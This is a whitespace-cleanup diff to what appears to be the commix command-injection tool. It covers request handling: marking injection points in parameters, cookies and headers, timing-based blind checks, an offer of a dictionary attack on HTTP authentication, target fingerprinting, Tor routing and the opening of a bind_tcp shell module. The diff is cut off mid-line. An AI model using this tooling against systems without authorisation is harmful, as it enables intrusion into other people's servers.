err_msg = "Invalid target URL has been given." print(settings.print_critical_msg(err_msg)) raise SystemExit() except AttributeError: - raise SystemExit() + raise SystemExit() except _urllib.error.HTTPError as err_msg: if settings.UNAUTHORIZED_ERROR in str(err_msg): @@ -190,7 +190,7 @@ def https_open(self, req): settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 if [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(err_msg)]: break - + except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.RemoteDisconnected, _http_client.IncompleteRead, _http_client.InvalidURL, Exception) as err_msg: if not settings.MULTI_TARGETS and not settings.CRAWLING: pass @@ -230,7 +230,7 @@ def https_open(self, req): page = err.read() if settings.VERBOSITY_LEVEL != 0: print_http_response(err.info(), err.code, page) - + if (not settings.PERFORM_CRACKING and \ not settings.IS_JSON and \ not settings.IS_XML and \ @@ -244,18 +244,18 @@ def https_open(self, req): settings.HTTP_ERROR_CODES_SUM.append(err.code) if settings.VERBOSITY_LEVEL >= 2: if len(str(err).split(": ")[1]) == 0: - error_msg = "Non-standard HTTP status code" + error_msg = "Non-standard HTTP status code" pass else: error_msg = str(err).replace(": "," (") if len(str(err).split(": ")[1]) == 0: - err_msg = error_msg + "Non-standard HTTP status code" + err_msg = error_msg + "Non-standard HTTP status code" else: err_msg = error_msg - + print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() - + """ Check for added headers. """ @@ -272,7 +272,7 @@ def do_check(request): # Check if defined any Referer HTTP header. if menu.options.referer and settings.REFERER_INJECTION == None: request.add_header(settings.REFERER, menu.options.referer) - + # Check if defined any Host HTTP header. if menu.options.host and settings.HOST_INJECTION == None: request.add_header(settings.HOST, menu.options.host) @@ -296,7 +296,7 @@ def do_check(request): if settings.TAMPER_SCRIPTS["xforwardedfor"]: from src.core.tamper import xforwardedfor xforwardedfor.tamper(request) - + # Check if defined any HTTP Authentication credentials. # HTTP Authentication: Basic, Digest, Bearer Access Authentication. if menu.options.auth_cred and menu.options.auth_type: @@ -316,7 +316,7 @@ def do_check(request): response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as e: try: - authline = e.headers.get('www-authenticate', '') + authline = e.headers.get('www-authenticate', '') authobj = re.match('''(\w*)\s+realm=(.*),''',authline).groups() realm = authobj[1].split(',')[0].replace("\"","") user_pass_pair = menu.options.auth_cred.split(":") @@ -331,10 +331,10 @@ def do_check(request): pass except _urllib.error.HTTPError as e: pass - + else: - pass - + pass + # Check if defined any extra HTTP headers. if menu.options.headers or menu.options.header or len(settings.RAW_HTTP_HEADERS) >= 1: if len(settings.RAW_HTTP_HEADERS) >= 1: @@ -342,11 +342,11 @@ def do_check(request): # Do replacement with the 'INJECT_HERE' tag, if the wildcard char is provided. if menu.options.headers: menu.options.headers = checks.wildcard_character(menu.options.headers) - extra_headers = menu.options.headers + extra_headers = menu.options.headers else: - menu.options.header = checks.wildcard_character(menu.options.header) + menu.options.header = checks.wildcard_character(menu.options.header) extra_headers = menu.options.header - + extra_headers = extra_headers.replace(":",": ") if ": //" in extra_headers: @@ -374,10 +374,10 @@ def do_check(request): request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) if "Accept-Encoding" not in str(extra_headers): request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) - + for extra_header in extra_headers: try: - # Extra HTTP Header name + # Extra HTTP Header name http_header_name = extra_header.split(':', 1)[0] http_header_name = ''.join(http_header_name).strip() # Extra HTTP Header value @@ -393,5 +393,5 @@ def do_check(request): request.add_header(http_header_name, http_header_value) except: pass - + # eof \ No newline at end of file diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 3ae225e12a..1f083aeb29 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -43,11 +43,11 @@ def multi_params_get_value(parameter): value = re.findall(r'=(.*)', parameter) value = ''.join(value) return value - + # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. url = checks.wildcard_character(url) - # Check for REST-ful URLs format. + # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: checks.check_injection_level() @@ -55,7 +55,7 @@ def multi_params_get_value(parameter): return False if menu.options.level == settings.COOKIE_INJECTION_LEVEL: return False - else: + else: err_msg = "No parameter(s) found for testing on the provided target URL. " if not menu.options.crawldepth: err_msg += "You are advised to rerun with '--crawl=2'." @@ -79,7 +79,7 @@ def multi_params_get_value(parameter): multi_parameters = parameters.split(settings.PARAMETER_DELIMITER) except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) @@ -107,12 +107,12 @@ def multi_params_get_value(parameter): if len(value) == 0: parameters = parameters + settings.INJECT_TAG else: - parameters = parameters.replace(value, value + settings.INJECT_TAG) + parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters url = url.replace(settings.RANDOM_TAG,"") urls_list.append(url) - return urls_list + return urls_list else: # Check if multiple parameters are supplied without the "INJECT_HERE" tag. all_params = settings.PARAMETER_DELIMITER.join(multi_parameters) @@ -152,12 +152,12 @@ def multi_params_get_value(parameter): for param in range(0,len(multi_parameters)): value = multi_params_get_value(multi_parameters[param]) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) - # Reconstruct the URL + # Reconstruct the URL url = url_part + "?" + parameter url = url.replace(settings.RANDOM_TAG,"") urls_list.append(url) - return urls_list + return urls_list """ Define the vulnerable GET parameter. @@ -185,12 +185,12 @@ def vuln_GET_param(url): if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: - settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break else: vuln_parameter = url - - return vuln_parameter + + return vuln_parameter """ Check if the 'INJECT_HERE' tag, is specified on POST Requests. @@ -206,7 +206,7 @@ def multi_params_get_value(param, all_params): elif settings.IS_XML: value = re.findall(r'>(.*)" + settings.INJECT_TAG + "]+)" + settings.INJECT_TAG, parameter)[0] vuln_parameter = ''.join(vuln_parameter) - + # Regular POST data format. else: if re.search(r"" + settings.PARAMETER_DELIMITER + "(.*)=[\S*(\\/)]*" + settings.INJECT_TAG, parameter) or \ @@ -396,7 +396,7 @@ def vuln_POST_param(parameter, url): if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: - settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING + settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break if 'vuln_parameter' not in locals(): @@ -424,7 +424,7 @@ def prefixes(payload, prefix): if menu.options.prefix: payload = testable_value + menu.options.prefix + prefix + payload else: - payload = testable_value + prefix + payload + payload = testable_value + prefix + payload return payload @@ -439,7 +439,7 @@ def suffixes(payload, suffix): payload = payload + suffix + menu.options.suffix else: payload = payload + suffix - + return payload """ @@ -517,11 +517,11 @@ def multi_params_get_value(parameter): if checks.ignore_google_analytics_cookie(all_params[param]): continue # Replace the value of parameter with INJECT tag - if len(value) == 0: - if not menu.options.skip_empty: + if len(value) == 0: + if not menu.options.skip_empty: all_params[param] = all_params[param] + settings.INJECT_TAG else: - all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) + all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") cookie = settings.COOKIE_DELIMITER.join(all_params) cookie = cookie.replace(settings.RANDOM_TAG,"") @@ -533,7 +533,7 @@ def multi_params_get_value(parameter): # Grab the value of parameter. value = re.findall(r'=(.*)', multi_parameters[param]) value = ''.join(value) - cookie = settings.COOKIE_DELIMITER.join(multi_parameters) + cookie = settings.COOKIE_DELIMITER.join(multi_parameters) cookie = cookie.replace(settings.RANDOM_TAG,"") return cookie @@ -560,7 +560,7 @@ def specify_cookie_parameter(cookie): else: inject_cookie = cookie - return inject_cookie + return inject_cookie """ The user-agent based injection. @@ -569,7 +569,7 @@ def specify_user_agent_parameter(user_agent): settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG,"") return user_agent - + """ The referer based injection. """ diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index 881965ecfb..43e31583fe 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -42,4 +42,4 @@ def do_check(): debug_msg = "Setting the HTTP proxy for all HTTP requests. " print(settings.print_debug_msg(debug_msg)) -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index 5335ebd125..e1040151ba 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -19,7 +19,7 @@ import base64 try: from base64 import encodebytes -except ImportError: +except ImportError: from base64 import encodestring as encodebytes from src.utils import menu from src.utils import settings @@ -45,24 +45,24 @@ def get_method(self): class RedirectHandler(_urllib.request.HTTPRedirectHandler, object): """ - Subclass the HTTPRedirectHandler to make it use our + Subclass the HTTPRedirectHandler to make it use our Request also on the redirected URL """ - def redirect_request(self, request, fp, code, msg, headers, newurl): + def redirect_request(self, request, fp, code, msg, headers, newurl): if code in (301, 302, 303, 307): settings.REDIRECT_CODE = code - return Request(newurl.replace(' ', '%20'), - data=request.data, + return Request(newurl.replace(' ', '%20'), + data=request.data, headers=request.headers ) - else: + else: err_msg = str(_urllib.error.HTTPError(request.get_full_url(), code, msg, headers, fp)).replace(": "," (") print(settings.print_critical_msg(err_msg + ").")) raise SystemExit() try: opener = _urllib.request.build_opener(RedirectHandler()) - _urllib.request.install_opener(opener) + _urllib.request.install_opener(opener) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except (SocketError, _urllib.error.HTTPError, _urllib.error.URLError, _http_client.BadStatusLine, _http_client.IncompleteRead, _http_client.InvalidURL) as err_msg: requests.crawler_request(redirect_url) @@ -71,7 +71,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): if settings.CRAWLING and redirect_url in settings.HREF_SKIPPED: return redirect_url elif settings.CRAWLING and url in settings.HREF_SKIPPED: - return url + return url else: while True: if not settings.FOLLOW_REDIRECT: @@ -79,7 +79,7 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): print(settings.SINGLE_WHITESPACE) message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url message += "'. Do you want to follow? [Y/n] > " - redirection_option = common.read_input(message, default="Y", check_batch=True) + redirection_option = common.read_input(message, default="Y", check_batch=True) if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True info_msg = "Following redirection to '" + redirect_url + "'. " @@ -91,11 +91,11 @@ def redirect_request(self, request, fp, code, msg, headers, newurl): settings.FOLLOW_REDIRECT = False if settings.CRAWLING: settings.HREF_SKIPPED.append(url) - return url + return url elif redirection_option in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(redirection_option) + common.invalid_option(redirection_option) pass except AttributeError: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 5383171734..fbbb33d92c 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -52,7 +52,7 @@ def crawler_request(url): request = _urllib.request.Request(url) headers.do_check(request) headers.check_http_traffic(request) - if menu.options.proxy: + if menu.options.proxy: response = proxy.use_proxy(request) elif menu.options.tor: response = tor.use_tor(request) @@ -85,7 +85,7 @@ def estimate_response_time(url, timesec): request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC)) else: request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE)) - + headers.do_check(request) start = time.time() try: @@ -96,7 +96,7 @@ def estimate_response_time(url, timesec): except _http_client.InvalidURL as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() - + except _urllib.error.HTTPError as err: ignore_start = time.time() if settings.UNAUTHORIZED_ERROR in str(err) and menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: @@ -119,7 +119,7 @@ def estimate_response_time(url, timesec): # Checking for authentication type name. auth_type = auth_line.split()[0] # Checking for the realm attribute. - try: + try: auth_obj = re.match('''(\w*)\s+realm=(.*)''', auth_line).groups() realm = auth_obj[1].split(',')[0].replace("\"", "") except: @@ -132,11 +132,11 @@ def estimate_response_time(url, timesec): raise SystemExit() except IndexError: - err_msg = "The provided pair of " + str(menu.options.auth_type) + err_msg = "The provided pair of " + str(menu.options.auth_type) err_msg += " HTTP authentication credentials '" + str(menu.options.auth_cred) + "'" err_msg += " seems to be invalid." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() if menu.options.auth_type and menu.options.auth_type != auth_type.lower(): if checks.identified_http_auth_type(auth_type): @@ -152,14 +152,14 @@ def estimate_response_time(url, timesec): stored_auth_creds = False if stored_auth_creds and not menu.options.ignore_session: menu.options.auth_cred = stored_auth_creds - info_msg = "Identified a previously stored valid pair of credentials '" + info_msg = "Identified a previously stored valid pair of credentials '" info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." print(settings.print_bold_info_msg(info_msg)) - else: - # Basic authentication + else: + # Basic authentication if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - warn_msg = menu.options.auth_type.capitalize() + " " + warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) while True: @@ -178,18 +178,18 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(do_update) + common.invalid_option(do_update) pass - # Digest authentication + # Digest authentication elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: - warn_msg = menu.options.auth_type.capitalize() + " " + warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) # Check if heuristics have failed to identify the realm attribute. if not realm: - warn_msg = "Heuristics have failed to identify the realm attribute." + warn_msg = "Heuristics have failed to identify the realm attribute." print(settings.print_warning_msg(warn_msg)) while True: message = "Do you want to perform a dictionary-based attack? [Y/n] > " @@ -207,13 +207,13 @@ def estimate_response_time(url, timesec): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(do_update) + common.invalid_option(do_update) pass - else: - checks.http_auth_err_msg() + else: + checks.http_auth_err_msg() else: raise SystemExit() - + ignore_end = time.time() start = start - (ignore_start - ignore_end) @@ -228,8 +228,8 @@ def estimate_response_time(url, timesec): request_failed(err_msg) end = time.time() - diff = end - start - + diff = end - start + if int(diff) < 1: url_time_response = int(diff) if settings.VERBOSITY_LEVEL != 0 and _: @@ -243,10 +243,10 @@ def estimate_response_time(url, timesec): print(settings.SINGLE_WHITESPACE) url_time_response = int(round(diff)) warn_msg = "Target's estimated response time is " + str(url_time_response) - warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" + warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" if url_time_response >= 3: warn_msg += " serious" - warn_msg += " delays during the data extraction procedure" + warn_msg += " delays during the data extraction procedure" if url_time_response >= 3: warn_msg += " and/or possible corruptions over the extracted data" warn_msg += "." @@ -270,7 +270,7 @@ def request_failed(err_msg): settings.VALID_URL = False try: - error_msg = str(err_msg.args[0]).split("] ")[1] + error_msg = str(err_msg.args[0]).split("] ")[1] except IndexError: try: error_msg = str(err_msg.args[0]) @@ -296,7 +296,7 @@ def request_failed(err_msg): err = err + " (Reason: " + str(error_msg) + "). " if settings.MULTI_TARGETS or settings.CRAWLING: err = err + "Skipping to the next target." - error_msg = err + error_msg = err print(settings.print_critical_msg(error_msg)) if not settings.CRAWLING: raise SystemExit() @@ -328,7 +328,7 @@ def request_failed(err_msg): error_msg = "There was an incomplete read error while retrieving data " error_msg += "from the target URL." elif "infinite loop" in str(error_msg): - error_msg = "Infinite redirect loop detected. " + error_msg = "Infinite redirect loop detected. " error_msg += "Please check all provided parameters and/or provide missing ones." elif "BadStatusLine" in str(error_msg): error_msg = "Connection dropped or unknown HTTP " @@ -446,7 +446,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None + proxy = None if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) @@ -506,7 +506,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None + proxy = None if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) @@ -566,7 +566,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None + proxy = None # Check if defined any HTTP Proxy. if menu.options.proxy: try: @@ -585,7 +585,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): response = inject_referer(url, vuln_parameter, payload, proxy) except Exception as err_msg: response = request_failed(err_msg) - + if settings.TIME_RELATIVE_ATTACK : end = time.time() how_long = int(end - start) @@ -597,7 +597,7 @@ def inject_referer(url, vuln_parameter, payload, proxy): Check if target host is vulnerable. (Host-based injection) """ def host_injection(url, vuln_parameter, payload): - + payload = _urllib.parse.urlparse(url).netloc + payload def inject_host(url, vuln_parameter, payload, proxy): @@ -616,7 +616,7 @@ def inject_host(url, vuln_parameter, payload, proxy): request = _urllib.request.Request(url) #Check if defined extra headers. headers.do_check(request) - payload = checks.newline_fixation(payload) + payload = checks.newline_fixation(payload) request.add_header('Host', payload) try: headers.check_http_traffic(request) @@ -630,7 +630,7 @@ def inject_host(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None + proxy = None if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) @@ -642,7 +642,7 @@ def inject_host(url, vuln_parameter, payload, proxy): proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) response = inject_host(url, vuln_parameter, payload, proxy) except Exception as err_msg: - response = request_failed(err_msg) + response = request_failed(err_msg) else: try: response = inject_host(url, vuln_parameter, payload, proxy) @@ -694,7 +694,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): end = 0 start = time.time() - proxy = None + proxy = None if menu.options.proxy: try: proxy = _urllib.request.ProxyHandler({settings.SCHEME : menu.options.proxy}) @@ -712,7 +712,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): response = inject_custom_header(url, vuln_parameter, payload, proxy) except Exception as err_msg: response = request_failed(err_msg) - + if settings.TIME_RELATIVE_ATTACK : end = time.time() how_long = int(end - start) @@ -726,7 +726,7 @@ def inject_custom_header(url, vuln_parameter, payload, proxy): def encoding_detection(response): charset_detected = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the indicated web-page charset. " + debug_msg = "Identifying the indicated web-page charset. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() try: @@ -737,7 +737,7 @@ def encoding_detection(response): except AttributeError: # Support for python 3.x charset = response.headers.get_content_charset() - if charset != None and len(charset) != 0 : + if charset != None and len(charset) != 0 : charset_detected = True else: content = re.findall(r"charset=['\"](.*)['\"]", response.read())[0] @@ -758,7 +758,7 @@ def encoding_detection(response): print(settings.print_warning_msg(warn_msg)) else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The indicated web-page charset appears to be " + debug_msg = "The indicated web-page charset appears to be " debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) else: @@ -775,14 +775,14 @@ def encoding_detection(response): """ def technology_detection(response): if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the technology supporting the target application. " + debug_msg = "Identifying the technology supporting the target application. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() - print(settings.SINGLE_WHITESPACE) + print(settings.SINGLE_WHITESPACE) try: - if len(response.info()['X-Powered-By']) != 0: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target application is powered by " + if len(response.info()['X-Powered-By']) != 0: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The target application is powered by " debug_msg += response.info()['X-Powered-By'] + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) @@ -798,24 +798,24 @@ def technology_detection(response): def application_identification(url): found_application_extension = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target application." + debug_msg = "Identifying the target application." sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() - + if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - debug_msg = "The target application identified as " + print(settings.SINGLE_WHITESPACE) + debug_msg = "The target application identified as " debug_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): - err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." + err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -831,7 +831,7 @@ def application_identification(url): def server_identification(server_banner): found_server_banner = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target server. " + debug_msg = "Identifying the target server. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() @@ -841,7 +841,7 @@ def server_identification(server_banner): if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target server identified as " + debug_msg = "The target server identified as " debug_msg += server_banner + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) settings.SERVER_BANNER = match.group(0) @@ -852,7 +852,7 @@ def server_identification(server_banner): settings.WEB_ROOT = "\\htdocs" else: settings.WEB_ROOT = "/var/www" - elif "nginx" in settings.SERVER_BANNER.lower(): + elif "nginx" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "/usr/share/nginx" elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = "\\inetpub\\wwwroot" @@ -860,7 +860,7 @@ def server_identification(server_banner): else: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - warn_msg = "The server which identified as '" + warn_msg = "The server which identified as '" warn_msg += server_banner + "' seems unknown." print(settings.print_warning_msg(warn_msg)) @@ -873,7 +873,7 @@ def check_target_os(server_banner): user_defined_os = settings.TARGET_OS if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying The underlying operating system. " + debug_msg = "Identifying The underlying operating system. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() @@ -894,7 +894,7 @@ def check_target_os(server_banner): if menu.options.shellshock: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) - err_msg = "The shellshock module ('--shellshock') is not available for " + err_msg = "The shellshock module ('--shellshock') is not available for " err_msg += identified_os + " targets." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -907,7 +907,7 @@ def check_target_os(server_banner): if settings.VERBOSITY_LEVEL != 0 : if found_os_server: print(settings.SINGLE_WHITESPACE) - debug_msg = "The underlying operating system appears to be " + debug_msg = "The underlying operating system appears to be " debug_msg += identified_os.title() + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) else: @@ -918,7 +918,7 @@ def check_target_os(server_banner): if found_os_server == False and not menu.options.os: # If "--shellshock" option is provided then, by default is a Linux/Unix operating system. if menu.options.shellshock: - pass + pass else: if menu.options.batch: if not settings.CHECK_BOTH_OS: @@ -945,7 +945,7 @@ def check_target_os(server_banner): elif got_os.lower() == "q": raise SystemExit() else: - common.invalid_option(got_os) + common.invalid_option(got_os) pass """ diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 80f34e68e1..d4f73ba18b 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -31,10 +31,10 @@ """ Check if Tor HTTP proxy is defined. """ -def do_check(): +def do_check(): check_tor_http_proxy = True - info_msg = "Testing Tor HTTP proxy settings (" - info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT + info_msg = "Testing Tor HTTP proxy settings (" + info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT info_msg += "). " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -45,7 +45,7 @@ def do_check(): except: check_tor_http_proxy = False pass - + if check_tor_http_proxy: try: check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.DEFAULT_CODEC) @@ -61,21 +61,21 @@ def do_check(): sys.stdout.write(settings.print_bold_info_msg(info_msg)) warn_msg = "Increasing default value for option '--time-sec' to" warn_msg += " " + str(settings.TIMESEC) + " because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) else: print(settings.SINGLE_WHITESPACE) if menu.options.tor_check: err_msg = "It seems that your Tor connection is not properly set. " else: - err_msg = "" + err_msg = "" err_msg += "Can't establish connection with the Tor HTTP proxy. " err_msg += "Please make sure that you have " err_msg += "Tor bundle installed and running so " err_msg += "you could successfully use " err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + print(settings.print_critical_msg(err_msg)) + raise SystemExit() except _urllib.error.URLError as err_msg: print(settings.SINGLE_WHITESPACE) @@ -87,8 +87,8 @@ def do_check(): err_msg += "Tor bundle installed and running so " err_msg += "you could successfully use " err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + print(settings.print_critical_msg(err_msg)) + raise SystemExit() except (_http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: print(settings.SINGLE_WHITESPACE) @@ -101,11 +101,11 @@ def do_check(): Use the TOR HTTP Proxy. """ def use_tor(request): - if menu.options.offline: + if menu.options.offline: err_msg = "You cannot Tor network without access on the Internet." print(settings.print_critical_msg(err_msg)) raise SystemExit() - + try: tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT}) opener = _urllib.request.build_opener(tor_http_proxy) @@ -121,4 +121,4 @@ def use_tor(request): print(settings.print_critical_msg(error_msg)) raise SystemExit() -# eof \ No newline at end of file +# eof \ No newline at end of file diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 7ef833aac8..98fdf36b33 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -32,9 +32,9 @@ def shell_options(option): if option.lower() == "bind_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": + elif option.lower() == "?": menu.reverse_tcp_options() - elif option.lower() == "quit": + elif option.lower() == "quit": raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "rhost ": @@ -42,7 +42,7 @@ def shell_options(option): if option[4:10].lower() == "lhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) + print(settings.print_error_msg(err_msg)) if option[4:10].lower() == "lport ": check_lport(option[10:]) else: @@ -80,19 +80,19 @@ def msf_launch_msg(output): """ def set_php_working_dir(): while True: - message = "Do you want to use '" + settings.WIN_PHP_DIR + message = "Do you want to use '" + settings.WIN_PHP_DIR message += "' as PHP working directory on the target host? [Y/n] > " php_dir = common.read_input(message, default="Y", check_batch=True) if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter 